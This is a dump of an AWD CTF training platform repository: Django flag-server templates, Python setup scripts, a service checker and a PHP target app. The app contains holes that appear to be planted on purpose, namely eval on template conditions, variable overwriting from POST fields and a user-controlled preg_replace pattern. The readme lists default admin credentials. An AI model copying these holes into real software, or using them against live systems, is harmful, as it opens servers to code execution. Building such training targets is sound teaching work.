_el.addClass(this._config.collapsingClass).removeClass(this._config.collapseClass).removeClass(this._config.collapseInClass); this.setTransitioning(true); var complete = function complete() { if (_this._transitioning && _this._config.onTransitionEnd) { _this._config.onTransitionEnd(); } _this.setTransitioning(false); _el.trigger(Event.HIDDEN); _el.removeClass(_this._config.collapsingClass).addClass(_this._config.collapseClass).attr('aria-expanded', false); }; if (!Util.supportsTransitionEnd()) { complete(); return; } _el.height() == 0 || _el.css('display') == 'none' ? complete() : _el.height(0).one(Util.TRANSITION_END, complete).emulateTransitionEnd(TRANSITION_DURATION); }; MetisMenu.prototype.setTransitioning = function setTransitioning(isTransitioning) { this._transitioning = isTransitioning; }; MetisMenu.prototype.dispose = function dispose() { $.removeData(this._element, DATA_KEY); $(this._element).find(this._config.parentTrigger).has(this._config.subMenu).children(this._config.triggerElement).off('click'); this._transitioning = null; this._config = null; this._element = null; }; MetisMenu.prototype._getConfig = function _getConfig(config) { config = $.extend({}, Default, config); return config; }; MetisMenu._jQueryInterface = function _jQueryInterface(config) { return this.each(function () { var $this = $(this); var data = $this.data(DATA_KEY); var _config = $.extend({}, Default, $this.data(), (typeof config === 'undefined' ? 'undefined' : _typeof(config)) === 'object' && config); if (!data && /dispose/.test(config)) { this.dispose(); } if (!data) { data = new MetisMenu(this, _config); $this.data(DATA_KEY, data); } if (typeof config === 'string') { if (data[config] === undefined) { throw new Error('No method named "' + config + '"'); } data[config](); } }); }; return MetisMenu; }(); /** * ------------------------------------------------------------------------ * jQuery * ------------------------------------------------------------------------ */ $.fn[NAME] = MetisMenu._jQueryInterface; $.fn[NAME].Constructor = MetisMenu; $.fn[NAME].noConflict = function () { $.fn[NAME] = JQUERY_NO_CONFLICT; return MetisMenu._jQueryInterface; }; return MetisMenu; }(jQuery); }); ================================================ FILE: flag_server/webapps/templates/admin.html ================================================ {% extends 'base.html' %} {% load static %} {% block title %}管理员{% endblock %} {% block style %} {% endblock %} {% block body %}
{% endblock %} ================================================ FILE: flag_server/webapps/templates/admin_table.html ================================================ {% extends 'base.html' %} {% load static %} {% block title %}排行榜{% endblock %} {% block style %} {% endblock %} {% block body %}
{% endblock %} ================================================ FILE: flag_server/webapps/templates/base.html ================================================ {% load static %} {% block head %} {% block title %}{% endblock %} {% block style %}{% endblock %} {% endblock %} {% block body %} {% endblock %} {% block script %} {% endblock %} ================================================ FILE: flag_server/webapps/templates/index.html ================================================ {% extends 'base.html' %} {% load static %} {% block title %}提交flag{% endblock %} {% block style %} {% endblock %} {% block body %}
{% endblock %} ================================================ FILE: flag_server/webapps/templates/login.html ================================================ {% extends 'base.html' %} {% load static %} {% block title %}登录{% endblock %} {% block style %} {% endblock %} {% block body %}
{% endblock %} ================================================ FILE: flag_server/webapps/templates/table.html ================================================ {% extends 'base.html' %} {% load static %} {% block title %}排行榜{% endblock %} {% block style %} {% endblock %} {% block body %}
{% endblock %} ================================================ FILE: host.list ================================================ { "user01": "172.17.0.2", } ================================================ FILE: pass.txt ================================================ team01 ctf:d3f0cf ssh:2201 port:8801 ================================================ FILE: pre.py ================================================ # coding:utf-8 import os import sys import time import hashlib import random BASE_DIR = os.path.dirname(os.path.abspath(__file__)) def copy_dir(src, dest): os.system('mkdir -m 777 -p %s' % (dest)) os.system('cp -r %s/* %s' % (src, dest)) os.system('cp flag.py %s' % dest) def read_data(path): with open(path, 'r') as f: data = f.read().strip() return data def write_data(path, data=''): with open(path, 'w') as f: f.write(data) return True def get_docker_sh(num): out_port = str(8800 + num) ssh_port = str(2200 + num) team_name = 'team' + str(num).zfill(2) data = read_data(team_name + '/docker.sh') data = data.replace("{out_port}", out_port).replace("{ssh_port}", ssh_port).replace("{team_name}", team_name) write_data(team_name + '/docker.sh', data) try: data = read_data(team_name + '/reset_docker.sh') data = data.replace("{out_port}", out_port).replace("{ssh_port}", ssh_port).replace("{team_name}", team_name) write_data(team_name + '/reset_docker.sh', data) except Exception as e: print('[-] no reset docker') return True def set_checker(dir): if os.path.exists('{}/{}/checker.py'.format(BASE_DIR, dir)): os.system( 'cp {}/{}/checker.py {}/check_server/webapps/check_scripts/checker.py'.format(BASE_DIR, dir, BASE_DIR)) else: os.system( 'cp {}/check_server/webapps/check_scripts/check_example.py {}/check_server/webapps/check_scripts/checker.py'.format( BASE_DIR, BASE_DIR)) def generate_pass(teamno): salt = 'moxiaoxi123456789' passwd = hashlib.md5(salt + str(time.time()) + str(teamno)).hexdigest()[:6] return passwd def generate_key(): salt = 'moxiaoxi123456789' passwd = hashlib.md5(salt + str(time.time()) + str(random.random())).hexdigest() return passwd def update_run_sh(num, password): team_name = 'team' + str(num).zfill(2) data = read_data(team_name + '/run.sh') data = data.replace("moxiaoxi666", password) write_data(team_name + '/run.sh', data) return def update_flag_key(team_name, flag_key): data = read_data(team_name + '/flag.py') data = data.replace("you_should_not_guess_the_key", flag_key) write_data(team_name + '/flag.py', data) return def check_end_time(end_time): tmp = end_time.split(', ') for i in range(len(tmp)): tmp[i] = str(int(tmp[i])) return ', '.join(tmp) def update_flag_server_config(secret_key, user_count, hold_hour=24, round_time=5, flag_score=100, fraction=10000): t = time.time() + int(hold_hour) * 60 * 60 end_time = time.strftime("%Y, %m, %d, %H, %M, %S", time.localtime(t)) end_time = check_end_time(end_time) data = """#coding:utf-8 import hashlib secret_key = '{}' flag_score = {} # 一个flag的分数 Year, month, day, Hour, Minute, Second = {} # 在此设置比赛结束的时间 年月日时分秒 round_time = {} # 一轮五分钟 user_count = {} # 用户数量 round_index = 1 # 第一轮 run = 1 fraction = {} #初始分数 status = [] score = [] for i in range(1, user_count + 1): user_name = 'user' + str(i).zfill(2) token = hashlib.md5((user_name +'moxiaoxi7777').encode('utf-8')).hexdigest() status.append([user_name, run,round_index]) score.append([user_name, fraction, token])""".format(secret_key, flag_score, end_time, round_time, user_count, fraction) write_data('flag_server/webapps/app/config.py', data) return def update_check_server_config(user_count, secret_key, flag_key, check_port): lib = "{\n" for i in range(1, user_count + 1): user_name = "user" + str(i).zfill(2) lib += """"{}": "172.17.0.{}",\n""".format(user_name, i + 1) lib += "}" flag_server = "172.17.0.{}".format(user_count + 2) data = """# coding:utf-8 import hashlib round_index = 1 # 轮次 flag_server = 'http://{}:8000/adm1n_ap1' user_count = {} # 数量 round_time = 5 * 60 secret_key = '{}' flag_key = '{}' lib = {} check_port = {} """.format(flag_server, user_count, secret_key, flag_key, lib, check_port) write_data("host.list", lib) write_data("check_server/webapps/config.py", data) return def get_check_port(dir): data = read_data(BASE_DIR + '/' + dir + '/docker.sh') check_port = data.split('{out_port}:')[1].split(' ')[0] return int(check_port) def main(): dir = sys.argv[1] team_number = int(sys.argv[2]) hold_hour = 24 # 比赛持续时间 fraction = 10000 # 初始分数 flag_score = 100 # flag 分数 round_time = 5 # 一轮五分钟 passwords = "" flag_key = generate_key() secret_key = generate_key() check_port = get_check_port(dir) for i in range(1, team_number + 1): team_name = 'team' + str(i).zfill(2) print("[+] Copy DATA ! {}".format(team_name)) copy_dir(dir + '/', team_name) print("[+] get_docker_sh ! {}".format(team_name)) get_docker_sh(i) print("[+] get pass! {}".format(team_name)) password = generate_pass(i) passwords += "{}\tctf:{}\tssh:{}\tport:{}\n".format(team_name, password, 2200 + i, 8800 + i) update_run_sh(i, password) print("[+] update run sh! {}".format(team_name)) update_flag_key(team_name, flag_key) print("[+] update flag key! {}".format(team_name)) update_flag_server_config(secret_key, team_number, hold_hour=hold_hour, round_time=round_time, flag_score=flag_score, fraction=fraction) print("[+] update flag server config! ") update_check_server_config(team_number, secret_key, flag_key, check_port) print("[+] update check server config! ") write_data('pass.txt', passwords) set_checker(dir) print("[+] set checker successfully!") if __name__ == "__main__": main() ================================================ FILE: readme.md ================================================ # CTF-AWD 训练平台 [TOC] ## 项目简介 一个简单的CTF-AWD平台,用于内部小型CTF对抗训练以及培训使用。 ![1](img/1.png) ![2](img/2.png) ![](img/3.png) ## 特点 - docker化,简易部署 - 可部署在公网上,远程AWD攻防 - 训练环境可自定义扩展 ## 基本使用方式 ### pre.py ```bash python pre.py web_chinaz 10 ``` web_chinaz 为应用文件名称,10表示要生成的队伍数量 ### start.py ```bash python start.py 10 ``` 启动10个实例,以及check和flag服务。 ### stop_clean.py ```bash python stop_clean.py ``` 暂停所有服务,并删除临时文件 > 注意,这里会删除所有现运行的容器,请谨慎使用。 ### pass.txt 存储队伍用户名密码,以及ssh、web端口 ```bash team01 ctf:308d66 ssh:2201 port:8801 team02 ctf:024b1d ssh:2202 port:8802 team03 ctf:d5cbcc ssh:2203 port:8803 team04 ctf:e29190 ssh:2204 port:8804 ``` ### Host.list 用户以及内网ip的对应关系 ### Write_ups 包含各类环境的WP ### Web_xxx 预置四个Web环境(web_chinaz,web_simplecms,web_gotsctf2018,web_javatsctf2018)。 xxx代表环境名称。 如果为二进制,预期名称为Bin_xxx. ## 平台信息 1. 首页 http://localhost:9090/ 2. 查看总榜 http://localhost:9090/score/ 3. 管理员登陆页面: http://localhost:9090/accounts/login/?next=/admin/ 账户:moxiaoxi 密码:moxiaoxi123456 管理界面: http://localhost:9090/admin/ 可以用于手动修正靶机状态 4. 管理员排行榜信息 http://localhost:9090/admin/table/ 得到细化状态日志并得到**队伍token** **实时flag**也可以通过管理员界面查看 此外,check信息也可以通过状态日志查看。 5. 提交flag 1. 直接在首页提交 2. curl提交 ```bash curl http://localhost:9090 -d "flag=85e630d8bb65e4cda2bd69185363af54&token=97e361a1df6b0cd7bfda8c1f7be7bdb3" ``` 提交状态如下: ```js ``` ## 如何向此平台提供攻防环境 > 本项目提供相关示例,方便提供攻防环境. ### [web_example1](https://github.com/m0xiaoxi/AWD_CTF_Platform/tree/master/web_example1) Web 简单部署版,只需要对外开启80以及22端口的,可以采用我推送的moxiaoxi/example为基础模块,进行后续开发。 ```bash . ├── checker.py check脚本 ├── html Web代码 ├── docker.sh 运行docker脚本 ├── run.sh 基本运行脚本 └── tmp 临时文件夹 ``` 开发过程如下: 1. 将web环境代码拷贝至html目录 2. 自定义配置run.sh文件,比如配置数据库,多用户等等自定义配置 3. 为环境撰写checker.py,用于检测服务是否挂了。如果没有checker文件,将默认启动check_example.此时,check将不会生效,只会动态更新flag。 ### [web_example2](https://github.com/m0xiaoxi/AWD_CTF_Platform/tree/master/web_example2) Web自定义部署版,该版本实际为web_example的更高级自定义版本,主要用于支持某些环境可能依赖环境比较复杂,或许需要开启较多端口依赖,可在此处进行配置。 ```bash . ├── Dockerfile ├── apache2.conf ├── build_images.sh ├── checker.py ├── docker.sh ├── html │   └── index.php ├── reset_docker.sh ├── run.sh └── tmp ``` 该版本,我们可以通过定制化Dockerfile进行更高级的定制化。如果需要多开端口,需要增加配置`-p {other_port1}:8088`,具体参考[web_gotsctf2018](https://github.com/m0xiaoxi/AWD_CTF_Platform/blob/master/web_gotsctf2018/docker.sh)环境。 1. 配置Dockerfile,docker.sh,并通过build_images.sh建立基础镜像。**(注:本步骤为必须操作)** 2. 将web环境代码拷贝至html目录 3. 自定义配置run.sh文件,比如配置数据库,多用户等等自定义配置 4. 为环境撰写checker.py,用于检测服务是否挂了。如果没有checker文件,将默认启动check_example.此时,check将不会生效,只会动态更新flag。 5. reset_docker.sh,主要用于重启单个容器(可忽略,不影响基础功能)。 ### [Bin_example]() 先参考bin_pwn吧,有空写:) ## 致谢 - [Zhl20018#awd-platform](https://github.com/zhl2008/awd-platform) - [Henryzhao#gotsctf2018](https://github.com/Henryzhao96) - [Wulasite#javatsctf2018](https://github.com/wulasite) - [HECTF#awd_platform](https://github.com/HECTF/awd_platform) - [ishandsomedog#bin_pwn1](https://github.com/ishandsomedog) # License The AWD_CTF_Platform is released under the [GPLv3](https://github.com/m0xiaoxi/AWD_CTF_Platform/blob/master/LICENSE) ================================================ FILE: start.py ================================================ #!/usr/bin/env python import sys import os teamno = int(sys.argv[1]) def start_flag(): os.system('cd flag_server && sh docker.sh') print('[*] start docker flag_server') def gen_host_lists(): res = '' for i in range(teamno): res += "team%d:172.17.0.%d\n" % (i + 1, i + 2) open('check_server/host.lists', 'w').write(res) def start_check(): gen_host_lists() os.system('cd check_server && sh docker.sh') print('[*] start docker check_server') def start_team(teamno): team_dir = 'team' + str(teamno).zfill(2) os.system('cd %s && sh docker.sh' % (team_dir)) print('[*] start docker %s' % team_dir) if __name__ == '__main__': for i in range(1, teamno + 1): start_team(i) start_flag() start_check() ================================================ FILE: stop_clean.py ================================================ #!/usr/bin/env python import os os.system("docker ps | awk '{print $1}' | xargs docker stop ") os.system("docker ps -a |awk '{print $1}' | xargs docker rm") os.system('rm -rf team*') ================================================ FILE: web_chinaz/Dockerfile ================================================ FROM nickistre/ubuntu-lamp RUN apt-get update && apt-get dist-upgrade -y ADD apache2.conf /etc/apache2/apache2.conf EXPOSE 80 EXPOSE 22 CMD ["/tmp/run.sh"] ================================================ FILE: web_chinaz/apache2.conf ================================================ # This is the main Apache server configuration file. It contains the # configuration directives that give the server its instructions. # See http://httpd.apache.org/docs/2.4/ for detailed information about # the directives and /usr/share/doc/apache2/README.Debian about Debian specific # hints. # # # Summary of how the Apache 2 configuration works in Debian: # The Apache 2 web server configuration in Debian is quite different to # upstream's suggested way to configure the web server. This is because Debian's # default Apache2 installation attempts to make adding and removing modules, # virtual hosts, and extra configuration directives as flexible as possible, in # order to make automating the changes and administering the server as easy as # possible. # It is split into several files forming the configuration hierarchy outlined # below, all located in the /etc/apache2/ directory: # # /etc/apache2/ # |-- apache2.conf # | `-- ports.conf # |-- mods-enabled # | |-- *.load # | `-- *.conf # |-- conf-enabled # | `-- *.conf # `-- sites-enabled # `-- *.conf # # # * apache2.conf is the main configuration file (this file). It puts the pieces # together by including all remaining configuration files when starting up the # web server. # # * ports.conf is always included from the main configuration file. It is # supposed to determine listening ports for incoming connections which can be # customized anytime. # # * Configuration files in the mods-enabled/, conf-enabled/ and sites-enabled/ # directories contain particular configuration snippets which manage modules, # global configuration fragments, or virtual host configurations, # respectively. # # They are activated by symlinking available configuration files from their # respective *-available/ counterparts. These should be managed by using our # helpers a2enmod/a2dismod, a2ensite/a2dissite and a2enconf/a2disconf. See # their respective man pages for detailed information. # # * The binary is called apache2. Due to the use of environment variables, in # the default configuration, apache2 needs to be started/stopped with # /etc/init.d/apache2 or apache2ctl. Calling /usr/bin/apache2 directly will not # work with the default configuration. # Global configuration # # # ServerRoot: The top of the directory tree under which the server's # configuration, error, and log files are kept. # # NOTE! If you intend to place this on an NFS (or otherwise network) # mounted filesystem then please read the Mutex documentation (available # at ); # you will save yourself a lot of trouble. # # Do NOT add a slash at the end of the directory path. # #ServerRoot "/etc/apache2" # # The accept serialization lock file MUST BE STORED ON A LOCAL DISK. # Mutex file:${APACHE_LOCK_DIR} default # # PidFile: The file in which the server should record its process # identification number when it starts. # This needs to be set in /etc/apache2/envvars # PidFile ${APACHE_PID_FILE} # # Timeout: The number of seconds before receives and sends time out. # Timeout 300 # # KeepAlive: Whether or not to allow persistent connections (more than # one request per connection). Set to "Off" to deactivate. # KeepAlive On # # MaxKeepAliveRequests: The maximum number of requests to allow # during a persistent connection. Set to 0 to allow an unlimited amount. # We recommend you leave this number high, for maximum performance. # MaxKeepAliveRequests 100 # # KeepAliveTimeout: Number of seconds to wait for the next request from the # same client on the same connection. # KeepAliveTimeout 5 # These need to be set in /etc/apache2/envvars User ${APACHE_RUN_USER} Group ${APACHE_RUN_GROUP} # # HostnameLookups: Log the names of clients or just their IP addresses # e.g., www.apache.org (on) or 204.62.129.132 (off). # The default is off because it'd be overall better for the net if people # had to knowingly turn this feature on, since enabling it means that # each client request will result in AT LEAST one lookup request to the # nameserver. # HostnameLookups Off # ErrorLog: The location of the error log file. # If you do not specify an ErrorLog directive within a # container, error messages relating to that virtual host will be # logged here. If you *do* define an error logfile for a # container, that host's errors will be logged there and not here. # ErrorLog ${APACHE_LOG_DIR}/error.log # # LogLevel: Control the severity of messages logged to the error_log. # Available values: trace8, ..., trace1, debug, info, notice, warn, # error, crit, alert, emerg. # It is also possible to configure the log level for particular modules, e.g. # "LogLevel info ssl:warn" # LogLevel warn # Include module configuration: IncludeOptional mods-enabled/*.load IncludeOptional mods-enabled/*.conf # Include list of ports to listen on Include ports.conf # Sets the default security model of the Apache2 HTTPD server. It does # not allow access to the root filesystem outside of /usr/share and /var/www. # The former is used by web applications packaged in Debian, # the latter may be used for local directories served by the web server. If # your system is serving content from a sub-directory in /srv you must allow # access here, or in any related virtual host. # Options FollowSymLinks AllowOverride all Require all denied AllowOverride all Require all granted #Options Indexes FollowSymLinks AllowOverride all Require all granted # # Options Indexes FollowSymLinks # AllowOverride None # Require all granted # # AccessFileName: The name of the file to look for in each directory # for additional configuration directives. See also the AllowOverride # directive. # AccessFileName .htaccess # # The following lines prevent .htaccess and .htpasswd files from being # viewed by Web clients. # Require all denied # # The following directives define some format nicknames for use with # a CustomLog directive. # # These deviate from the Common Log Format definitions in that they use %O # (the actual bytes sent including headers) instead of %b (the size of the # requested file), because the latter makes it impossible to detect partial # requests. # # Note that the use of %{X-Forwarded-For}i instead of %h is not recommended. # Use mod_remoteip instead. # LogFormat "%v:%p %h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" vhost_combined LogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" combined LogFormat "%h %l %u %t \"%r\" %>s %O" common LogFormat "%{Referer}i -> %U" referer LogFormat "%{User-agent}i" agent # Include of directories ignores editors' and dpkg's backup files, # see README.Debian for details. # Include generic snippets of statements IncludeOptional conf-enabled/*.conf # Include the virtual host configurations: IncludeOptional sites-enabled/*.conf # vim: syntax=apache ts=4 sw=4 sts=4 sr noet ================================================ FILE: web_chinaz/build_images.sh ================================================ #!/bin/sh docker build -t moxiaoxi/chinaz . ================================================ FILE: web_chinaz/checker.py ================================================ # -*- coding:utf-8 -*- import requests import traceback import re import sys from random import Random import hashlib pages = ['js', 'phpcom', 'normaliz', 'md5'] def md5(str): m = hashlib.md5() m.update(str) return m.hexdigest() def sha1(str): m = hashlib.sha1() m.update(str) return m.hexdigest() def random_str(randomlength=8): str = '' chars = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789' length = len(chars) - 1 random = Random() for i in range(randomlength): str += chars[random.randint(0, length)] return str def find_res(c): rule = r''' (.+?) ''' # rule = r'form="(.+?)"' return re.findall(rule, c.decode('utf-8', 'ignore'), re.S) def isValidIp(ip): if re.match(r"^\s*\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\s*$", ip): return True return False def isValidEmail(email): if re.match("^.+\\@(\\[?)[a-zA-Z0-9\\-\\.]+\\.([a-zA-Z]{2,3}|[0-9]{1,3})(\\]?)$", email): return True return False def check_index(base_url, rand_str, s): try: global pages page = pages[ord(rand_str[0]) % 4] page2 = pages[(ord(rand_str[0]) + 1) % 4] u = base_url + "index.php?page=" + pages[ord(rand_str[0]) % 4] # data = {'username': rand_str, 'password': rand_str} r = s.get(u, timeout=10, allow_redirects=False) c = r.content m1 = '''''' % page m2 = '''''' % page2 m1 = m1.encode() m2 = m2.encode() res1 = m1 in c and m2 in c except Exception as e: print(e) return False, 'check index page exception' return res1, 'index page check' def check_phpcom(base_url, rand_str, s): try: u = base_url + "action.php?page=phpcom" input_code = '''echoContent($data['page'], $data); ?>%s''' % rand_str data = {'source': input_code, 'res': "", 'page': "phpcom"} r = s.post(u, data=data, timeout=10, allow_redirects=False) c = r.content m1 = '''<?php require_once("library/common.php"); require_once("library/view.php"); $view_class = new View(); $data = array(); if (isset($_GET['page'])) { $data['page'] = filter($_GET['page']); } else{ $data['page'] = 'js'; } $view_class->echoContent($data['page'], $data); ?>%s''' % rand_str m1 = m1.encode() res1 = m1 in c except Exception as e: print(e) return False, 'check phpcom page exception' return res1, 'phpcom page check' def check_md5(base_url, rand_str, s): try: u = base_url + "action.php?page=phpcom" input_code = rand_str data = {'source': input_code, 'res': "", 'page': "md5", 'method': 'md5'} r = s.post(u, data=data, timeout=10, allow_redirects=False) c = r.content m1 = md5(input_code.encode()).encode() res1 = m1 in c data = {'source': input_code, 'res': "", 'page': "md5", 'method': 'sha1'} r = s.post(u, data=data, timeout=10, allow_redirects=False) c = r.content m2 = sha1(input_code.encode()).encode() res2 = m2 in c except Exception as e: print(e) return False, 'check md5 page exception' return res1 and res2, 'md5 page check' def check_normaliz(base_url, rand_str, s): try: u = base_url + "action.php?page=normaliz" ip = str(ord(rand_str[0]) % 10) for i in range(3): ip += '.' + str(ord(rand_str[i + 1]) % 10) data = {'source': ip, 'res': "", 'page': "normaliz", 'method': '/\\d+\\.\\d+\.\\d+\\.\\d+/'} r = s.post(u, data=data, timeout=10, allow_redirects=False) c = r.content ip_res = find_res(c)[-1] res1 = isValidIp(ip_res) and (ip_res != ip) data = {'source': rand_str, 'res': "", 'page': "normaliz", 'method': '/\\d+\\.\\d+\.\\d+\\.\\d+/'} r = s.post(u, data=data, timeout=10, allow_redirects=False) c = r.content ip_res = find_res(c)[-1] res2 = (ip_res == rand_str) email = rand_str[:4] + '@as.com' data = {'source': email, 'res': "", 'page': "normaliz", 'method': '/([0-9A-Za-z\\-_\\.]+)@([0-9a-z]+\\.[a-z]{2,3}(\\.[a-z]{2})?)/'} r = s.post(u, data=data, timeout=10, allow_redirects=False) c = r.content email_res = find_res(c)[-1] res3 = isValidEmail(email_res) and (email_res != email) data = {'source': rand_str, 'res': "", 'page': "normaliz", 'method': '/([0-9A-Za-z\\-_\\.]+)@([0-9a-z]+\\.[a-z]{2,3}(\\.[a-z]{2})?)/'} r = s.post(u, data=data, timeout=10, allow_redirects=False) c = r.content email_res = find_res(c)[-1] res4 = (email_res == rand_str) except Exception as e: traceback.print_exc() print(e) return False, 'check normailz page exception' return res1 and res2 and res3 and res4, 'normailz page check' # check entry point def check_chinaz(host, port): base_url = "http://%s:%s/" % (host, port) s = requests.Session() rand_str = random_str() # admin service # (res, msg) = check_admin(base_url, rand_str, password) # if not res: # return False, msg # register service (res, msg) = check_index(base_url, rand_str, s) if not res: return False, msg (res, msg) = check_phpcom(base_url, rand_str, s) if not res: return False, msg # login service (res, msg) = check_md5(base_url, rand_str, s) if not res: return False, msg # upload service (res, msg) = check_normaliz(base_url, rand_str, s) if not res: return False, msg return True, 'msg' def check(target_ip, target_port): flag, msg = check_chinaz(target_ip, target_port) if flag: return True print(msg) return False if __name__ == '__main__': print(check('127.0.0.1', 8801)) ================================================ FILE: web_chinaz/chinaz/action.php ================================================ $value) { $post_data[$key] = $value; } if (file_exists($page)) { @require_once($page); } ?> ================================================ FILE: web_chinaz/chinaz/config.php ================================================ ================================================ FILE: web_chinaz/chinaz/error.php ================================================ {chinaz:header} {chinaz:footer} ================================================ FILE: web_chinaz/chinaz/index.php ================================================ echoContent($data['page'], $data); ?> ================================================ FILE: web_chinaz/chinaz/library/.htaccess ================================================ deny from all ================================================ FILE: web_chinaz/chinaz/library/common.php ================================================ ================================================ FILE: web_chinaz/chinaz/library/view.php ================================================ templateDir=$cfg_basedir."/views/templates".DS; } function parseHeadAndFoot($content) { $content=str_replace("{chinaz:header}",loadFile($this->templateDir."header.php"),$content); $content=str_replace("{chinaz:footer}",loadFile($this->templateDir."footer.php"),$content); return $content; } function parseStrIf($strIf) { if(strpos($strIf,'=')===false) { return $strIf; } if((strpos($strIf,'==')===false)&&(strpos($strIf,'=')>0)) { $strIf=str_replace('=', '==', $strIf); } $strIfArr = explode('==',$strIf); return (empty($strIfArr[0])?'NULL':$strIfArr[0])."==".(empty($strIfArr[1])?'NULL':$strIfArr[1]); } function parseVal($content){ $data = $this->data; foreach ($data as $key => $value) { $content = str_replace("{?=".$key."?}", $value, $content); } $content = preg_replace("/{\?=[a-z]*\?}/", "", $content); return $content; } function parseIf($content){ if (strpos($content,'{if:')=== false){ return $content; }else{ $Rule = buildregx("{if:(.*?)}(.*?){end if}","is"); $Rule2="{elseif"; $Rule3="{else}"; preg_match_all($Rule,$content,$iar); $arlen=count($iar[0]); $ifstatus=false; $elseIfstatus=false; for($m=0;$m<$arlen;$m++){ $strIf=$iar[1][$m]; $strIf=$this->parseStrIf($strIf); $strThen=$iar[2][$m]; $strThen=$this->parseSubIf($strThen); if (strpos($strThen,$Rule2)===false){ if (strpos($strThen,$Rule3)>=0){ $elseary=explode($Rule3,$strThen); $strThen1=$elseary[0]; $strElse1=$elseary[1]; try{ @eval("if(".$strIf."){\$ifstatus=true;}else{\$ifstatus=false;}"); }catch(Throwable $e){$ifstatus=false;} if ($ifstatus){ $content=str_replace($iar[0][$m],$strThen1,$content);} else {$content=str_replace($iar[0][$m],$strElse1,$content);} }else{ try{ @eval("if(".$strIf.") { \$ifstatus=true;} else{ \$ifstatus=false;}"); }catch(Throwabl $e){$ifstatus=false;} if ($ifstatus) $content=str_replace($iar[0][$m],$strThen,$content); else $content=str_replace($iar[0][$m],"",$content);} }else{ $elseIfary=explode($Rule2,$strThen); $elseIfaryLen=count($elseIfary); $elseIfSubary=explode($Rule3,$elseIfary[$elseIfaryLen-1]); $resultStr=$elseIfSubary[1]; $elseIfarystr0=addslashes($elseIfary[0]); try{ @eval("if($strIf){\$resultStr=\"$elseIfarystr0\";}"); }catch(Throwable $e){$ifstatus=false;} for($elseIfLen=1;$elseIfLen<$elseIfaryLen;$elseIfLen++){ $strElseIf=$this->parseStrIf($strElseIf); try{ @eval("if(".$strElseIf."){\$resultStr=\"$strElseIfThen\";}"); }catch(Throwable $e){$ifstatus=false;} try{ @eval("if(".$strElseIf."){\$elseIfstatus=true;}else{\$elseIfstatus=false;}"); }catch(Throwable $e){$ifstatus=false;} if ($elseIfstatus) {break;} } if(strpos($strElseIf0,'==')===false&&strpos($strElseIf0,'=')>0)$strElseIf0=str_replace('=', '==', $strElseIf0); try{ @eval("if(".$strElseIf0."){\$resultStr=\"$strElseIfThen0\";\$elseIfstatus=true;}"); }catch(Throwable $e){$ifstatus=false;} $content=str_replace($iar[0][$m],$resultStr,$content); } } return $content; } } function parseSubIf($content){ if (strpos($content,'{subif:')=== false){ return $content; }else{ $Rule = buildregx("{subif:(.*?)}(.*?){end subif}","is"); $Rule2="{elseif"; $Rule3="{else}"; preg_match_all($Rule,$content,$iar); $arlen=count($iar[0]); $elseIfstatus=false; for($m=0;$m<$arlen;$m++){ $strIf=$iar[1][$m]; $strIf=$this->parseStrIf($strIf); $strThen=$iar[2][$m]; $strThen=$this->parseIf($strThen); if (strpos($strThen,$Rule2)===false){ if (strpos($strThen,$Rule3)>=0){ $elseary=explode($Rule3,$strThen); $strThen1=$elseary[0]; $strElse1=$elseary[1]; @eval("if(".$strIf."){\$ifstatus=true;}else{\$ifstatus=false;}"); if ($ifstatus){ $content=str_replace($iar[0][$m],$strThen1,$content);} else {$content=str_replace($iar[0][$m],$strElse1,$content);} }else{ @eval("if(".$strIf.") { \$ifstatus=true;} else{ \$ifstatus=false;}"); if ($ifstatus) $content=str_replace($iar[0][$m],$strThen,$content); else $content=str_replace($iar[0][$m],"",$content);} }else{ $elseIfary=explode($Rule2,$strThen); $elseIfaryLen=count($elseIfary); $elseIfSubary=explode($Rule3,$elseIfary[$elseIfaryLen-1]); $resultStr=$elseIfSubary[1]; $elseIfarystr0=addslashes($elseIfary[0]); @eval("if($strIf){\$resultStr=\"$elseIfarystr0\";}"); for($elseIfLen=1;$elseIfLen<$elseIfaryLen;$elseIfLen++){ $strElseIf=$this->parseStrIf($strElseIf); @eval("if(".$strElseIf."){\$resultStr=\"$strElseIfThen\";}"); @eval("if(".$strElseIf."){\$elseIfstatus=true;}else{\$elseIfstatus=false;}"); if ($elseIfstatus) {break;} } $strElseIf0=$this->parseStrIf($strElseIf0); @eval("if(".$strElseIf0."){\$resultStr=\"$strElseIfThen0\";\$elseIfstatus=true;}"); $content=str_replace($iar[0][$m],$resultStr,$content); } } return $content; } } function echoContent($vId, $data) { $this->data = $data; $content = loadFile("views/".$vId.".php"); $content = $this->parseHeadAndFoot($content); $content = $this->parseVal($content); $content = $this->parseIf($content); echo $content; } } ================================================ FILE: web_chinaz/chinaz/logs/.htaccess ================================================ deny from all ================================================ FILE: web_chinaz/chinaz/logs/logfile.php ================================================ Try to open Null file:views/uppercase.php ================================================ FILE: web_chinaz/chinaz/md5.php ================================================ $value) { $$key = $value; } if ($method==='md5'){ $res = md5($source); } if ($method==='sha1'){ $res = sha1($source); } return $res; } $view_class = new View(); $data = array(); $data['page'] = 'md5'; $data['res'] = action($post_data); $view_class->echoContent($data['page'], $data); ?> ================================================ FILE: web_chinaz/chinaz/normaliz.php ================================================ $value) { $$key = $value; } try{ if ($method == '/\\d+\\.\\d+\\.\\d+\\.\\d+/') { $res = preg_replace($method, $ip_replacement, $source); } else { $res = preg_replace($method, $mail_replacement, $source); } } catch(Exception $e) { write_log($e->getMessage()); $res=$source; } return $res; } $view_class = new View(); $data = array(); $data['page'] = 'normaliz'; $ip_replacement = '222.222.222.222'; $mail_replacement = 'lollol@lol.com'; $data['res'] = action($post_data, $ip_replacement, $mail_replacement); $view_class->echoContent($data['page'], $data); ?> ================================================ FILE: web_chinaz/chinaz/phpcom.php ================================================ $value) { $$key = $value; } file_put_contents('/tmp/tmp.txt', $source); $res = php_strip_whitespace('/tmp/tmp.txt'); unlink('/tmp/tmp.txt'); return htmlentities($res); } $view_class = new View(); $data = array(); $data['page'] = 'phpcom'; $data['res'] = action($post_data); $view_class->echoContent($data['page'], $data); ?> ================================================ FILE: web_chinaz/chinaz/static/js/jq-public.js ================================================ // JavaScript Document $(function () { fn(); $(window).on('resize', function () { fn() }); }); function fn() { var winWidth = window.innerWidth || document.documentElement && document.documentElement.clientWidth || 0, pageWidth = 'SMALL'; // 获取 body 宽度设定。 var pageWidthDef = { 